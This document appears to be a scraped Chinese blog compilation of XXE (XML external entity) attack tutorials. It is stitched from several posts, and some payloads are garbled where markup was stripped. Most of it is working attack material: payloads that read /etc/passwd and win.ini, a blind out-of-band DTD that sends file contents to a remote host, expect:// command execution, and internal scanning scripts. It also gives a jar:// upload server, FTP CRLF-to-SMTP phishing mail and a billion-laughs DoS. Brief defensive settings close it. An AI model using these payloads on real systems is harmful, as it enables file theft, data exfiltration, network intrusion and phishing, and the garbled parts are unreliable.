精华内容
下载资源
问答
  • xxe靶机漏洞复现,主要分为三部分: 1.xxe镜像(vmware里面) 2.xxe漏洞复现过程 3.漏洞利用过程中的文档信息
  • XXE之旅 小型Web服务器可以利用XXEXXE ( Xml eXternal Entity )-基于在处理xml文档期间包含外​​部实体的一类漏洞。 安装和启动 git clone git@github.com:egorchistov/xxe.git pip install -r requirements...
  • 什么是XXE?就是我们所说的所谓xml实体注入.这里不去讲所有xml语法规范了,稍微就说一下XMLentity:entity翻译为"实体"。它的作用类似word中的"宏",也可以理解为DW中的模板,你可以预先定义一个entity,然后在一个文档...
  • SAML-XXE-测试 一个专门为SAML接口生成的简单XXE测试套件。 介绍 是一种基于XML的标记语言,SAML端点使用的XML解析器可能容易受到。 SAML消息通常使用Base64Url()编码进行传输,并且可能会另外放气(取决于所使用的...
  • 在最近对Apache Karaf的研究中,我发现其XML解析器中存在一些XXE(XML外部实体注入)漏洞。 导致解析器不正确地解析XML文档。 受影响的版本 Apache Karaf <= 4.2.1 Apache Karaf <= 4.1.6 分析 根据,Apache...
  • Zimbra POC 用法 需要自己在源代码中修改dtd_url为如下内容的dtd地址: <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start " <![CDATA[ "> <!ENTITY % end " ]]> "> ...参考资料
  • WordPress 5.6-5.7-经过身份验证的XXE(CVE-2021-29447) 使用 步骤1。 运行WordPress $ make up-wp 第2步。 运行Attacker Web服务器 $ make up-mal 第三步生成恶意的WAV文件 $ make make-wav 第四步。 登录...
  • XXE

    2021-01-07 17:06:42
    怎么发现xxe: 在xxe-lab举例 使用xml文档时,使用恶意xml文档。 <?xml version="1.0" encoding="UTF-8"?> %aaa; ]> 抓包,增加以上代码,http地址协商dnslog。cn的地址 然年forward,刷新dnslog xx

    直接对服务器进行攻击的手段,XML外部(DTD)实体注入(XML文档,一种标签语言,作用是将数据,运行部分程序,对象,转换为xml格式存放,在别处调用时继续使用。有漏洞,可以写xml格式恶意代码让服务器执行。)
    xml主要分为三部分

    <?xml version=‘1.0’ encoding='utf-8'(版本,编码) ?> >

    %aaa;
    ]>

    抓包,增加以上代码,http地址写上dnslog.cn的地址
    然年forward,刷新dnslog,有回应,有xxe漏洞。
    在这里插入图片描述

    xxe文件读取:

    假如查passwd:

    在这里插入图片描述
    抓包

    在这里插入图片描述
    改为post(get也可以)
    在这里插入图片描述

    加入

    <?xml version="1.0"?> <!ENTITY xxe SYSTEM "file:///etc/passwd">

    ]>

    &xxe;

    放包。
    在这里插入图片描述

    爆当前页面源码:
    需要base64编码。改动实体的值即可

    “php://filter/read=convert.base64-encode/resource=index.php”

    <?xml version="1.0"?> <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">

    ]>
    &xxe;

    之后

    在这里插入图片描述

    将64码解码即可。

    pikachu xxe:

    <?xml version = "1.0"?> <!ENTITY f SYSTEM "file:///www/wwwroot/pikachu-master/liukun.txt">

    ]>&f;

    <!ENTITY hacker "ESHLkangi">

    内网端口探测,应用程序攻击:

    <?xml version="1.0"?> <!ENTITY xxe SYSTEM "http://120.78.92.198:8030">

    ]>
    &xxe;

    端口如果存在,回显会很快,若不存在,则回显很慢或者无回显。

    二:

    <?xml version="1.0"?>

    ]>
    &test;Mikasa
    截取回包,即可获得在这里插入图片描述
    的文件内容
    在这里插入图片描述

    如果没有回显:
    只告诉结果,不报错时怎么办:
    搭建网站新建dtd文件放在目录下,(在黑客自己的网站)编辑内容为

    <!ENTITY % payload “<!ENTITY % send SYSTEM 'http://127.0.0.1/?cpn=%ttt;'>">

    %payload;

    引用dtd文件:

    <?xml version="1.0"?> <!ENTITY % dtd SYSTEM "http://192.168.0.47/aaa.dtd">

    %dtd;
    %send;
    ]>

    展开全文
  • 该工具旨在帮助测试OXML文档文件格式的XXE漏洞。 目前支持: DOCX / XLSX / PPTX ODT / ODG / ODP / ODS SVG XML格式 PDF(实验性) JPG(实验性) GIF(实验性) BH USA 2015演示: 关于该主题的博客文章...
  • XXE Apache OFBiz < 16.11.04 的 XXE 注入(文件泄露)漏洞利用 信息 16.11.04 版本之前的 Apache OFBiz 包含两个不同的 XXE 注入漏洞。 每个漏洞的公开披露可以在下面找到: [1] [2] 此漏洞利用针对链接 1 中...
  • XXE/RCE 来自以下文章的信息和有效载荷: 28/02/2020 编辑:另一篇使用 H2 数据库实现 RCE 的文章 在 Spring Boot Actuator < 2.0.0 和 Jolokia 1.6.0 上测试。 如果您可以使用 Spring Boot Actuator 和以下资源...
  • Zimbra邮件系统<8.8.11 XXE SSRF远程代码执行漏洞GetShell 漏洞描述: 漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 后,通过文件上传在服务端执行任意代码,威胁程度极高。当Zimbra服务端打来...
  • CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE漏洞 fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class ╭─root@jas502n /var ╰─# find ./ |grep EJBTaglibDescriptor ...
  • xxe

    2019-10-02 04:24:56
    XXE xml external entity injection xml外部实体注入 概述 xml是可扩展的标记语言,涉及被用来传输、存储数据 html被用来显示数据 其中xml的标签没有预定义的,允许作者自己定义标签和文档结构。 组成 声名 <?xml...

    XXE

    xml external entity injection

    xml外部实体注入

    概述

    xml是可扩展的标记语言,涉及被用来传输、存储数据

    html被用来显示数据

    其中xml的标签没有预定义的,允许作者自己定义标签和文档结构。

    组成

    声名

    <?xml version="1.0" encoding="UTF-8"?>

    以上实例包含 XML 版本(

    UTF-8 也是 HTML5, CSS, JavaScript, PHP, 和 SQL 的默认编码。

    XML DTD

    文档类型定义DTD(document type definition),是下面文档元素的规定可以叫约束,定义了格式

    <!DOCTYPE note SYSTEM "Note.dtd">

    DOCTYPE 声明是对外部 DTD 文件的引用

    文档元素

    <note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
    </note>

    利用

    其中我们能利用的是DTD部分引入外部文档

    xml文档定义语义约束

    有三种方法

    1. DTD内部声名:<!DOCTYPE 根元素 [元素声名]>
    2. DTD外部声名:<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">其中外部引用支持http、file和ftp等
    3. 引用公共DTD:<!DOCTYPE 根元素名称 PUBLIC "公用DTD的URI">
    <!DOCTYPE note
    [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to      (#PCDATA)>
    <!ELEMENT from    (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body    (#PCDATA)>
    ]>

    832936-20190923172631071-1411846893.png

    如果一个接口支持接受xml数据,且没有对xml数据做任何安全上的措施,就可能导致xxe漏洞。

    libxml在2.9.0(包含)之后默认禁止解析xml默认实体内容的。

    用例

    <?xml cersion="1.0">
    <!DOCTYPE hack [
    <!ENTITY xxe SYSTEM "file:///etc/password">
    ]>
    
    <hack>&xxe;</hack>

    "%name"(参数实体)实在DTD中被引用,而"&name;"是在xml文档中被引用的。

    能怎么利用看支持什么协议,具体的参考

    https://security.tencent.com/index.php/blog/msg/69

    防御

    方案一、使用开发语言提供的禁用外部实体的方法
    PHP:
    libxml_disable_entity_loader(true);
    其他语言:
    https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

    方案二、过滤用户提交的XML数据
    关键词:,SYSTEM和PUBLIC。

    参考:

    https://security.tencent.com/index.php/blog/msg/69

    https://zh.wikipedia.org/wiki/XML

    https://www.runoob.com/xml/xml-usage.html

    转载于:https://www.cnblogs.com/wan-xiang/p/11573542.html

    展开全文
  • WEB安全之XXE实体注入漏洞
  • vulnd_xxe 易受XXE影响的服务器,可以使用或与此相关的任何其他工具来测试有效负载。 它是用Java编写的,因为所有Java服务器都容易受到XXE的攻击,我喜欢痛苦(两点都可能有点夸张)。 实际上,我在编写时需要测试...
  • 本篇总结归纳XXE漏洞

    前言

    本篇总结归纳XXE漏洞

    1、什么是XXE

    普通的XML注入

    在这里插入图片描述

    XML外部实体(XML External Entity, XXE)

    • Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行
    • 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

    2、基础知识

    XML,一种非常流行的标记语言

    • 用于标记电子文件使其具有结构性的标记语言,可用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
    • 设计用来进行数据的传输和存储, 结构是树形结构,有标签构成
    • 用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…)
    • XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
      其中文档类型定义(DTD)可以是内部声明也可以引用外部DTD
    • 在DTD中对实体(即用于定义引用普通文本或特殊字符的快捷方式的变量)声明时,既可在内部进行,也可在外部进行。
      • 内部声明实体格式:<!ENTITY 实体名称"实体的值">
      • 引用外部实体格式:<!ENTITY 实体名称SYSTEM"URI">

    在这里插入图片描述

    (1)xml文档的构建模块

    所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

    • 元素
    • 属性
    • 实体
    • PCDATA
    • CDATA

    1,元素
    元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的
    实例:

    <body>body text in between</body>
    <message>some message in between</message>
    

    空的 HTML 元素的例子是 “hr”、“br” 以及 “img”

    2,属性
    属性可提供有关元素的额外信息
    实例:

    <img src="computer.gif" />
    

    3,实体
    实体是用来定义普通文本的变量
    实体引用是对实体的引用

    4,PCDATA
    PCDATA 的意思是被解析的字符数据(parsed character data)
    PCDATA 是会被解析器解析的文本,这些文本将被解析器检查实体以及标记

    5,CDATA
    CDATA 的意思是字符数据(character data)
    CDATA 是不会被解析器解析的文本

    (2)DTD(文档类型定义)

    DTD(文档类型定义)

    • 定义 XML 文档的合法构建模块
    • DTD 可以在 XML 文档内声明,也可以外部引用

    1,内部声明:<!DOCTYPE 根元素 [元素声明]>
    ex: <!DOCTYOE test any>
    实例

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to      (#PCDATA)>
      <!ELEMENT from    (#PCDATA)>
      <!ELEMENT heading (#PCDATA)>
      <!ELEMENT body    (#PCDATA)>
    ]>
    <note>
      <to>George</to>
      <from>John</from>
      <heading>Reminder</heading>
      <body>Don't forget the meeting!</body>
    </note>
    

    2,外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名">
    ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
    实例

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note> 
    

    note.dtd的内容为:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

    (3)DTD实体

    DTD实体

    • 用于定义引用普通文本或特殊字符的快捷方式的变量
    • 分为内部实体和外部实体
    • 也可分为一般实体和参数实体

    1,内部实体
    ex:<!ENTITY eviltest "eviltest">
    实例

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer "Bill Gates">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
    
    <test>&writer;&copyright;</test>
    

    2,外部实体

    • 从外部的 DTD文件中引用
    • 对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

    实例

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <author>&writer;&copyright;</author>
    

    3、一般实体

    • 引用实体的方式:&实体名
    • 在DTD 中定义,在 XML 文档中引用

    实例

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
    <updateProfile>  
        <firstname>Joe</firstname>  
        <lastname>&file;</lastname>  
        ... 
    </updateProfile>
    

    4、参数实体

    • 引用实体的方式: % 实体名(这里面空格不能少)
    • 在 DTD 中定义,并且只能在 DTD 中使用 % 实体名引用
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    • 和通用实体一样,参数实体也可以外部引用
    • 在 Blind XXE 中起到了至关重要的作用

    实例

    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
    %an-element; %remote-dtd;
    

    3、XXE漏洞利用

    (1)有回显读取敏感信息

    有问题的xml.php

    <?php
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
        $creds = simplexml_import_dom($dom);
        echo $creds;
    ?>
    

    1、直接通过DTD外部实体声明

    payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE creds [  
    <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
    <creds>&goodies;</creds>
    

    2、通过DTD外部实体声明引入外部实体声明

    想调取test.txt

    在这里插入图片描述
    若直接通过DTD外部实体声明会报错
    要用到CDATA和参数实体

    payload:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE roottag [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
    <!ENTITY % end "]]>">  
    <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
    %dtd; ]> 
    
    <roottag>&all;</roottag>
    

    evil.dtd

    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY all "%start;%goodies;%end;">
    

    (2)无回显读取敏感文件(Blind OOB XXE)

    在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应
    遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据

    有问题的xml.php

    <?php
    
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    ?>
    

    test.dtd

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
    <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
    

    payload:

    • %remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来
    • 然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %)
    • 再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上
    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://ip/test.dtd">
    %remote;%int;%send;
    ]>
    

    在这里插入图片描述
    在这里插入图片描述
    在各个平台能用的协议

    在这里插入图片描述
    其中PHP在安装扩展后还能支持以下这些协议

    在这里插入图片描述

    (3)HTTP 内网主机探测

    以存在 XXE 漏洞的服务器为我们探测内网的支点

    准备工作

    • 先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子
    • 可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件

    一个脚本

    import requests
    import base64
    
    #Origtional XML that the server accepts
    #<xml>
    #    <stuff>user</stuff>
    #</xml>
    
    
    def build_xml(string):
        xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
        xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
        xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
        xml = xml + "\r\n" + """<xml>"""
        xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
        xml = xml + "\r\n" + """</xml>"""
        send_xml(xml)
    
    def send_xml(xml):
        headers = {'Content-Type': 'application/xml'}
        x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
        coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
        print coded_string
    #   print base64.b64decode(coded_string)
    for i in range(1, 255):
        try:
            i = str(i)
            ip = '10.0.0.' + i
            string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
            print string
            build_xml(string)
        except:
    continue
    

    (4)HTTP 内网主机端口扫描

    可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF
    以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2020-11-11</date>
          <description>&xxe;</description>
       </core>
    </catalog>
    

    可以将请求的端口作为 参数 然后利用 burp 的 intruder 来帮我们探测

    (5) 远程代码执行(RCE)

    PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上
    就可以执行如下的命令:

    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2020-11-11</date>
          <description>&xxe;</description>
       </core>
    </catalog>
    

    (6)文件上传

    Java 中有一个比较神奇的协议 jar://
    能从远程获取 jar 文件,然后将其中的内容进行解压

    • 下载 jar/zip 文件到临时文件中
    • 提取出我们指定的文件
    • 删除临时文件
    jar:{url}!{path}
    jar:http://host/application.jar!/file/within/the/zip
    
    这个 ! 后面就是其需要从中解压出的文件
    

    先在本地模拟一个存在 XXE 的程序

    xml_test.java

    package xml_test;
    import java.io.File;
    
    import javax.xml.parsers.DocumentBuilder;
    import javax.xml.parsers.DocumentBuilderFactory;
    
    import org.w3c.dom.Attr;
    import org.w3c.dom.Comment;
    import org.w3c.dom.Document;
    import org.w3c.dom.Element;
    import org.w3c.dom.NamedNodeMap;
    import org.w3c.dom.Node;
    import org.w3c.dom.NodeList;
    
    /**
     * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
     * @author zhanglong
     *
     */
    public class xml_test
    {
        public static void main(String[] args) throws Exception
        {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
    
            Document doc = db.parse(new File("student.xml"));
            //获得根元素结点
            Element root = doc.getDocumentElement();
    
            parseElement(root);
        }
    
        private static void parseElement(Element element)
        {
            String tagName = element.getNodeName();
    
            NodeList children = element.getChildNodes();
    
            System.out.print("<" + tagName);
    
            //element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
            NamedNodeMap map = element.getAttributes();
    
            //如果该元素存在属性
            if(null != map)
            {
                for(int i = 0; i < map.getLength(); i++)
                {
                    //获得该元素的每一个属性
                    Attr attr = (Attr)map.item(i);
    
                    String attrName = attr.getName();
                    String attrValue = attr.getValue();
    
                    System.out.print(" " + attrName + "=\"" + attrValue + "\"");
                }
            }
    
            System.out.print(">");
    
            for(int i = 0; i < children.getLength(); i++)
            {
                Node node = children.item(i);
                //获得结点的类型
                short nodeType = node.getNodeType();
    
                if(nodeType == Node.ELEMENT_NODE)
                {
                    //是元素,继续递归
                    parseElement((Element)node);
                }
                else if(nodeType == Node.TEXT_NODE)
                {
                    //递归出口
                    System.out.print(node.getNodeValue());
                }
                else if(nodeType == Node.COMMENT_NODE)
                {
                    System.out.print("<!--");
    
                    Comment comment = (Comment)node;
    
                    //注释内容
                    String data = comment.getData();
    
                    System.out.print(data);
    
                    System.out.print("-->");
                }
            }
    
            System.out.print("</" + tagName + ">");
        }
    }
    

    建立一个 xml 文件

    test.xml

    <!DOCTYPE convert [ 
    <!ENTITY  remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
    ]>
    <convert>&remote;</convert>
    

    9999 端口上放一个用 python 写 TCP 服务器

    sever.py

    import sys 
    import time 
    import threading 
    import socketserver 
    from urllib.parse import quote 
    import http.client as httpc 
    
    listen_host = 'localhost' 
    listen_port = 9999 
    jar_file = sys.argv[1]
    
    class JarRequestHandler(socketserver.BaseRequestHandler):  
        def handle(self):
            http_req = b''
            print('New connection:',self.client_address)
            while b'\r\n\r\n' not in http_req:
                try:
                    http_req += self.request.recv(4096)
                    print('Client req:\r\n',http_req.decode())
                    jf = open(jar_file, 'rb')
                    contents = jf.read()
                    headers = ('''HTTP/1.0 200 OK\r\n'''
                    '''Content-Type: application/java-archive\r\n\r\n''')
                    self.request.sendall(headers.encode('ascii'))
    
                    self.request.sendall(contents[:-1])
                    time.sleep(30)
                    print(30)
                    self.request.sendall(contents[-1:])
    
                except Exception as e:
                    print ("get error at:"+str(e))
    
    
    if __name__ == '__main__':
    
        jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
        print ('waiting for connection...') 
        server_thread = threading.Thread(target=jarserver.serve_forever) 
        server_thread.daemon = True 
        server_thread.start() 
        server_thread.join()
    

    通过报错找到临时文件的路径
    然后可以操作了

    可以参考一道 LCTF 2018 的 ctf题

    (7)钓鱼

    如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人

    Java支持在sun.net.ftp.impl.FtpClient中的ftp URI
    因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令

    但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令

    示例代码:

    ftp://a%0D%0A
    EHLO%20a%0D%0A
    MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
    RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
    DATA%0D%0A
    From%3A%20support%40VULNERABLESYSTEM.com%0A
    To%3A%20victim%40gmail.com%0A
    Subject%3A%20test%0A
    %0A
    test!%0A
    %0D%0A
    .%0D%0A
    QUIT%0D%0A
    :a@VULNERABLESYSTEM.com:25
    

    当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

    示例代码:

    ftp://a
    EHLO a
    MAIL FROM: <support@VULNERABLESYSTEM.com>
    RCPT TO: <victim@gmail.com>
    DATA
    From: support@VULNERABLESYSTEM.com
    To: victim@gmail.com
    Subject: Reset your password
    We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
    .
    QUIT
    :support@VULNERABLESYSTEM.com:25
    

    这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件

    (8)DOS 攻击

    示例代码:

    <?xml version="1.0"?>
         <!DOCTYPE lolz [
         <!ENTITY lol "lol">
         <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
         <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
         <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
         <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
         <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
         <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
         <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
         <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
         ]>
         <lolz>&lol9;</lolz>
    

    4、现实场景

    XXE经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用

    原始请求和响应

    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/json
    Content-Length: 38
    
    {"search":"name","value":"netspitest"}
    

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 43
    
    {"error": "no results for name netspitest"}
    

    进一步请求和响应

    现在我们尝试将 Content-Type 修改为 application/xml
    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 38
    
    {"search":"name","value":"netspitest"}
    

    HTTP Response:

    HTTP/1.1 500 Internal Server Error
    Content-Type: application/json
    Content-Length: 127
    
    {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
    

    最终的请求和响应

    可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

    HTTP Request:

    POST /netspi HTTP/1.1
    Host: someserver.netspi.com
    Accept: application/json
    Content-Type: application/xml
    Content-Length: 288
    
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <search>name</search>
    <value>&xxe;</value>
    </root>
    

    HTTP Response:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 2467
    
    {"error": "no results for name root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync....
    

    5、防御措施

    主要是使用语言中推荐的禁用外部实体的方法

    PHP

    libxml_disable_entity_loader(true);
    

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
    
    .setFeature("http://xml.org/sax/features/external-general-entities",false)
    
    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    

    Python

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    结语

    对XXE做了个归纳

    参考

    展开全文
  • XXE漏洞

    2020-12-22 19:12:36
    无回显的情况 blind xxe漏洞方案1: 对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。...

    0x00 什么是XML

    1.定义

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    2.文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    ]]]>

    Dave

    Tom

    3.DTD

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    1.内部声明DTD:

    元素声明]>

    2.引用外部DTD:

    3.内外部DTD文档结合:

    定义内容]>

    DTD中的一些重要的关键字:

    DOCTYPE(DTD的声明)

    ENTITY(实体的声明)

    SYSTEM、PUBLIC(外部资源申请)

    4.实体类别介绍

    实体主要分为一下四类

    内置实体 (Built-in entities)

    字符实体 (Character entities)

    通用实体 (General entities)

    参数实体 (Parameter entities)

    参数实体用%实体名称申明,引用时也用%实体名称;

    其余实体直接用实体名称申明,引用时用&实体名称。

    参数实体只能在DTD中申明,DTD中引用;

    其余实体只能在DTD中申明,可在xml文档中引用。

    注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

    0x01 DTD 实体声明:

    1. 内部实体声明

    一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

    ]>

    &xxe;

    2. 外部实体声明

    XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

    file:///path/to/file.ext

    http://url

    php://filter/read=convert.base64-encode/resource=conf.php

    外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

    外部实体的默认协议

    示例:

    ]>

    &xxe;

    这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

    3. 参数实体声明

    or

    示例:

    %xxe;]>

    &evil;

    外部evil.dtd中的内容。

    4. 引用公共实体

    0x02 什么是XML外部实体攻击?

    有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。

    Code1:

    ]>

    &passwd;

    Code2:

    ]>

    &entityex;

    Code3

    ]>

    &xxe;

    Code4

    ]>

    &xxe;

